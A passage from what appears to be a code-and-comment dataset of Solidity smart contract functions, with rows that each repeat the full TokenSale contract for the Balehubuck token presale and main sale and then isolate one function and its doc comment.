// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
4077,
5377
]
} | 59,882 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | startMainSale | function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
| // @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
5488,
5719
]
} | 59,883 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | startTrading | function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
| // @dev Starts the trading stage, allowing buyer to claim their tokens | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
5798,
6209
]
} | 59,884 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
